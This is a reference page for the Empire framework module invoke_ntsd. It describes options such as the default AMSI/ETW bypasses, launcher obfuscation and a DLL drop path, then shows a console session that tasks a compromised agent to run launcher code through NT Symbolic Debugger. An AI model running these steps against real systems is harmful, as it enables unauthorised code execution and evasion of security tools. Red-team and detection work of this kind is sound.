Invoke-Ntsd - Empire Module
This page contains detailed information about how to use the powershell/code_execution/invoke_ntsd Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-Ntsd
Module: powershell/code_execution/invoke_ntsd
Source code [1]: empire/server/modules/powershell/code_execution/invoke_ntsd.yaml
Source code [2]: empire/server/modules/powershell/code_execution/invoke_ntsd.py
MITRE ATT&CK:
T1127
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The invoke_ntsd module uses NT Symbolic Debugger to execute Empire launcher code.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the invoke_ntsd module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the invoke_ntsd module:
Agent
Agent to run module on.
Arch
Architecture the system is on.
Default value: x64.
BinPath
Binary to set NTSD to debug.
Default value: C:\Windows\System32\calc.exe.
Listener
Listener to use.
Additional Module Options
This is a list of additional options that are supported by the invoke_ntsd module:
Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.
Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.
ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.
Proxy
Proxy to use for request (default, none, or other).
Default value: default.
ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.
UploadPath
Path to drop dll (C:\Users\Administrator\Desktop).
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.
Invoke_ntsd Example Usage
Here's an example of how to use the invoke_ntsd module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/code_execution/invoke_ntsd
Author james fitts
Background True
Description Use NT Symbolic Debugger to execute Empire launcher code
Language powershell
Name powershell/code_execution/invoke_ntsd
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1127
,Record Options----,------------------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------------|------------------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|------------------|------------------------------|----------|-------------------------------------|
| Arch | x64 | True | Architecture the system is on. |
|------------------|------------------------------|----------|-------------------------------------|
| BinPath | C:\Windows\System32\calc.exe | True | Binary to set NTSD to debug. |
|------------------|------------------------------|----------|-------------------------------------|
| Bypasses | mattifestation etw | False | Bypasses as a space separated list |
| | | | to be prepended to the launcher. |
|------------------|------------------------------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------------|------------------------------|----------|-------------------------------------|
| Obfuscate | False | False | Switch. Obfuscate the launcher |
| | | | powershell code, uses the |
| | | | ObfuscateCommand for obfuscation |
| | | | types. For powershell only. |
|------------------|------------------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1 | False | The Invoke-Obfuscation command to |
| | | | use. Only used if Obfuscate switch |
| | | | is True. For powershell only. |
|------------------|------------------------------|----------|-------------------------------------|
| Proxy | default | False | Proxy to use for request (default, |
| | | | none, or other). |
|------------------|------------------------------|----------|-------------------------------------|
| ProxyCreds | default | False | Proxy credentials |
| | | | ([domain\]username:password) to use |
| | | | for request (default, none, or |
| | | | other). |
|------------------|------------------------------|----------|-------------------------------------|
| UploadPath | | False | Path to drop dll |
| | | | (C:\Users\Administrator\Desktop). |
|------------------|------------------------------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------------'------------------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/code_execution/invoke_ntsd) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/code_execution/invoke_ntsd) > set Arch x64
[*] Set Arch to x64
(Empire: usemodule/powershell/code_execution/invoke_ntsd) > set BinPath C:\Windows\System32\calc.exe
[*] Set BinPath to C:\Windows\System32\calc.exe
(Empire: usemodule/powershell/code_execution/invoke_ntsd) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/code_execution/invoke_ntsd) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
- james fitts
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/code_execution/invoke_ntsd.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/code_execution/invoke_ntsd.py
- http://attack.mitre.org/techniques/T1127
See Also
Check also the following modules related to this module:
- powershell/code_execution/invoke_metasploitpayload
- powershell/code_execution/invoke_shellcodemsil
- powershell/code_execution/invoke_assembly
- powershell/code_execution/invoke_reflectivepeinjection
- powershell/code_execution/invoke_ironpython
- powershell/code_execution/invoke_clearscript
- powershell/code_execution/invoke_dllinjection
- powershell/code_execution/invoke_ironpython3
- powershell/code_execution/invoke_shellcode
- powershell/code_execution/invoke_ssharp
- powershell/code_execution/invoke_boolang
- powershell/lateral_movement/invoke_psexec
- powershell/lateral_movement/invoke_sqloscmd
- powershell/exploitation/invoke_spoolsample
- powershell/credentials/invoke_kerberoast
- powershell/credentials/invoke_internal_monologue
- powershell/credentials/invoke_ntlmextract
- powershell/management/invoke_script
- powershell/management/invoke_sharpchisel
- powershell/management/invoke_socksproxy
- powershell/lateral_movement/invoke_psremoting
- powershell/lateral_movement/invoke_executemsbuild
- powershell/lateral_movement/invoke_dcom
- powershell/lateral_movement/invoke_portfwd
- powershell/lateral_movement/invoke_smbexec
- powershell/lateral_movement/invoke_wmi
- powershell/lateral_movement/invoke_wmi_debugger
- powershell/lateral_movement/invoke_sshcommand
- python/code_execution/powershell_execution
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
